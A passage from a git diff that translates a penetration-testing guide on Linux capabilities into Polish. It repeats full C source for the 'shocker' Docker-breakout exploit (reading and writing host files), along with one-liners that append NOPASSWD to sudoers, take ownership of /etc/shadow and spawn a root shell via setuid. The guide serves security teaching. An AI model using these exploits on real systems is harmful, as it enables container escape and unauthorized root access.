0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); +read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); +if (find_handle(fd1, argv[1], &root_h, &h) <= 0) +die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); - printf("Success!!\n"); +printf("Success!!\n"); - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); - close(fd2); close(fd1); +close(fd2); close(fd1); - return 0; +return 0; } ``` - > [!WARNING] -> The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +> Exploit musi znaleźć wskaźnik do czegoś zamontowanego na hoście. Oryginalny exploit używał pliku /.dockerinit, a ta zmodyfikowana wersja używa /etc/hostname. Jeśli exploit nie działa, być może musisz ustawić inny plik. Aby znaleźć plik, który jest zamontowany w hoście, po prostu wykonaj polecenie mount: ![](<../../images/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -​ - -
- -​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +**Kod tej techniki został skopiowany z laboratorium "Abusing DAC_READ_SEARCH Capability" z** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) ## CAP_DAC_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**To oznacza, że możesz obejść kontrole uprawnień do zapisu w dowolnym pliku, więc możesz zapisać dowolny plik.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Jest wiele plików, które możesz **nadpisać, aby eskalować uprawnienia,** [**możesz znaleźć pomysły tutaj**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**Przykład z binarnym** +W tym przykładzie vim ma tę zdolność, więc możesz modyfikować dowolny plik, taki jak _passwd_, _sudoers_ lub _shadow_: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**Przykład z binarnym 2** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +W tym przykładzie **`python`** będzie miał tę zdolność. Możesz użyć pythona do nadpisania dowolnego pliku: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**Przykład z środowiskiem + CAP_DAC_READ_SEARCH (wyjście z Dockera)** -**Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Możesz sprawdzić włączone możliwości wewnątrz kontenera dockera, używając: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: - +Najpierw przeczytaj poprzednią sekcję, która [**wykorzystuje zdolność DAC_READ_SEARCH do odczytu dowolnych plików**](linux-capabilities.md#cap_dac_read_search) hosta i **skompiluj** exploit.\ +Następnie **skompiluj następującą wersję exploitu shocker**, która pozwoli Ci **zapisywać dowolne pliki** w systemie plików hosta: ```c #include #include @@ -1110,179 +990,169 @@ Then, **compile the following version of the shocker exploit** that will allow y // ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +Aby wydostać się z kontenera docker, możesz **pobrać** pliki `/etc/shadow` i `/etc/passwd` z hosta, **dodać** do nich **nowego użytkownika** i użyć **`shocker_write`**, aby je nadpisać. Następnie **uzyskaj dostęp** przez **ssh**. -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**Kod tej techniki został skopiowany z laboratorium "Abusing DAC_OVERRIDE Capability" z** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP_CHOWN -**This means that it's possible to change the ownership of any file.** +**Oznacza to, że możliwe jest zmienienie właściciela dowolnego pliku.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**Przykład z binarką** +Załóżmy, że binarka **`python`** ma tę zdolność, możesz **zmienić** **właściciela** pliku **shadow**, **zmienić hasło roota** i eskalować uprawnienia: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +Lub z binarnym plikiem **`ruby`** mającym tę zdolność: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP_FOWNER -**This means that it's possible to change the permission of any file.** +**Oznacza to, że możliwe jest zmienienie uprawnień dowolnego pliku.** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**Przykład z binarką** +Jeśli python ma tę zdolność, możesz zmodyfikować uprawnienia pliku shadow, **zmienić hasło roota** i eskalować uprawnienia: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP_SETUID -**This means that it's possible to set the effective user id of the created process.** +**Oznacza to, że możliwe jest ustawienie efektywnego identyfikatora użytkownika utworzonego procesu.** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Przykład z binarnym** +Jeśli python ma tę **zdolność**, możesz bardzo łatwo nadużyć jej, aby podnieść uprawnienia do roota: ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**Inny sposób:** ```python import os import prctl @@ -1291,17 +1161,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP_SETGID -**This means that it's possible to set the effective group id of the created process.** +**Oznacza to, że możliwe jest ustawienie efektywnego identyfikatora grupy dla utworzonego procesu.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Jest wiele plików, które możesz **nadpisać, aby zwiększyć uprawnienia,** [**możesz znaleźć pomysły tutaj**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**Przykład z binarnym** +W tym przypadku powinieneś szukać interesujących plików, które grupa może odczytać, ponieważ możesz udawać dowolną grupę: ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1310,31 +1178,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +Gdy znajdziesz plik, który możesz wykorzystać (poprzez odczyt lub zapis) do eskalacji uprawnień, możesz **uzyskać powłokę, udając interesującą grupę** za pomocą: ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +W tym przypadku grupa shadow została podszyta, więc możesz odczytać plik `/etc/shadow`: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +Jeśli **docker** jest zainstalowany, możesz **udawać** **grupę docker** i nadużyć jej, aby komunikować się z [**gniazdem docker** i eskalować uprawnienia](./#writable-docker-socket). ## CAP_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**Oznacza to, że możliwe jest ustawienie uprawnień na plikach i procesach** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Przykład z binarką** +Jeśli python ma tę **zdolność**, możesz bardzo łatwo nadużyć jej, aby eskalować uprawnienia do roota: ```python:setcapability.py import ctypes, sys @@ -1355,22 +1217,20 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` ```bash python setcapability.py /usr/bin/python2.7 ``` - > [!WARNING] -> Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. +> Zauważ, że jeśli ustawisz nową zdolność dla binarnego pliku za pomocą CAP_SETFCAP, stracisz tę zdolność. -Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to its section to see how to escalate privileges. +Gdy masz [zdolność SETUID](linux-capabilities.md#cap_setuid), możesz przejść do jej sekcji, aby zobaczyć, jak podnieść uprawnienia. -**Example with environment (Docker breakout)** - -By default the capability **CAP_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**Przykład z środowiskiem (wyjście z Dockera)** +Domyślnie zdolność **CAP_SETFCAP jest przyznawana procesowi wewnątrz kontenera w Dockerze**. Możesz to sprawdzić, wykonując coś takiego: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1382,10 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +Ta zdolność pozwala na **przyznanie dowolnej innej zdolności binarnym**, więc możemy pomyśleć o **ucieczce** z kontenera **wykorzystując dowolne z innych wyłamań zdolności** wspomnianych na tej stronie.\ +Jednakże, jeśli spróbujesz przyznać na przykład zdolności CAP_SYS_ADMIN i CAP_SYS_PTRACE binarnemu gdb, odkryjesz, że możesz je przyznać, ale **binarne nie będzie mogło się wykonać po tym**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1395,27 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges**. +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: To jest **ograniczający nadzbiór dla efektywnych możliwości**, które wątek może przyjąć. Jest to również ograniczający nadzbiór dla możliwości, które mogą być dodane do zestawu dziedziczonego przez wątek, który **nie ma możliwości CAP_SETPCAP** w swoim zestawie efektywnym._\ +Wygląda na to, że możliwości Permitted ograniczają te, które mogą być używane.\ +Jednak Docker również domyślnie przyznaje **CAP_SETPCAP**, więc możesz być w stanie **ustawić nowe możliwości w dziedziczonych**.\ +Jednak w dokumentacji tej możliwości: _CAP_SETPCAP : \[…] **dodaje każdą możliwość z ograniczonego** zestawu wątku wywołującego do jego zestawu dziedziczonego_.\ +Wygląda na to, że możemy tylko dodawać do zestawu dziedziczonego możliwości z zestawu ograniczonego. Co oznacza, że **nie możemy umieścić nowych możliwości, takich jak CAP_SYS_ADMIN lub CAP_SYS_PTRACE w zestawie dziedziczonym, aby eskalować uprawnienia**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) zapewnia szereg wrażliwych operacji, w tym dostęp do `/dev/mem`, `/dev/kmem` lub `/proc/kcore`, modyfikację `mmap_min_addr`, dostęp do wywołań systemowych `ioperm(2)` i `iopl(2)`, oraz różne polecenia dyskowe. `FIBMAP ioctl(2)` jest również włączone za pomocą tej możliwości, co spowodowało problemy w [przeszłości](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Zgodnie z dokumentacją, umożliwia to również posiadaczowi opisowo `wykonywanie szeregu operacji specyficznych dla urządzeń na innych urządzeniach`. -This can be useful for **privilege escalation** and **Docker breakout.** +Może to być przydatne do **eskalacji uprawnień** i **wyjścia z Dockera.** ## CAP_KILL -**This means that it's possible to kill any process.** +**To oznacza, że możliwe jest zabicie dowolnego procesu.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**Przykład z binarnym** +Załóżmy, że **`python`** ma tę możliwość. Jeśli mógłbyś **również zmodyfikować jakąś konfigurację usługi lub gniazda** (lub jakikolwiek plik konfiguracyjny związany z usługą), mógłbyś wprowadzić tylne drzwi, a następnie zabić proces związany z tą usługą i czekać na wykonanie nowego pliku konfiguracyjnego z twoimi tylnymi drzwiami. ```python #Use this python code to kill arbitrary processes import os @@ -1423,39 +1279,27 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**Privesc z użyciem kill** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +Jeśli masz uprawnienia kill i działa **program node jako root** (lub jako inny użytkownik), prawdopodobnie możesz **wysłać** mu **sygnał SIGUSR1** i sprawić, że **otworzy debugger node**, do którego możesz się połączyć. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {{#ref}} electron-cef-chromium-debugger-abuse.md {{#endref}} -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## CAP_NET_BIND_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +**Oznacza to, że możliwe jest nasłuchiwanie na dowolnym porcie (nawet na portach uprzywilejowanych).** Nie można bezpośrednio eskalować uprawnień za pomocą tej zdolności. -**Example with binary** +**Przykład z binarką** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +Jeśli **`python`** ma tę zdolność, będzie mógł nasłuchiwać na dowolnym porcie i nawet łączyć się z niego z dowolnym innym portem (niektóre usługi wymagają połączeń z określonych portów uprzywilejowanych) {{#tabs}} {{#tab name="Listen"}} - ```python import socket s=socket.socket() @@ -1463,45 +1307,39 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` - {{#endtab}} {{#tab name="Connect"}} - ```python import socket s=socket.socket() s.bind(('0.0.0.0',500)) s.connect(('10.10.10.10',500)) ``` - {{#endtab}} {{#endtabs}} ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) uprawnienie pozwala procesom na **tworzenie gniazd RAW i PACKET**, co umożliwia generowanie i wysyłanie dowolnych pakietów sieciowych. Może to prowadzić do zagrożeń bezpieczeństwa w środowiskach kontenerowych, takich jak fałszowanie pakietów, wstrzykiwanie ruchu i omijanie kontroli dostępu do sieci. Złośliwi aktorzy mogą to wykorzystać do zakłócania routingu kontenerów lub kompromitacji bezpieczeństwa sieci hosta, szczególnie bez odpowiednich zabezpieczeń zapory. Dodatkowo, **CAP_NET_RAW** jest kluczowe dla uprzywilejowanych kontenerów, aby wspierać operacje takie jak ping za pomocą żądań RAW ICMP. -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**Oznacza to, że możliwe jest podsłuchiwanie ruchu.** Nie można bezpośrednio podnieść uprawnień za pomocą tego uprawnienia. -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**Przykład z binarnym** +Jeśli binarny **`tcpdump`** ma to uprawnienie, będziesz mógł go użyć do przechwytywania informacji sieciowych. ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = 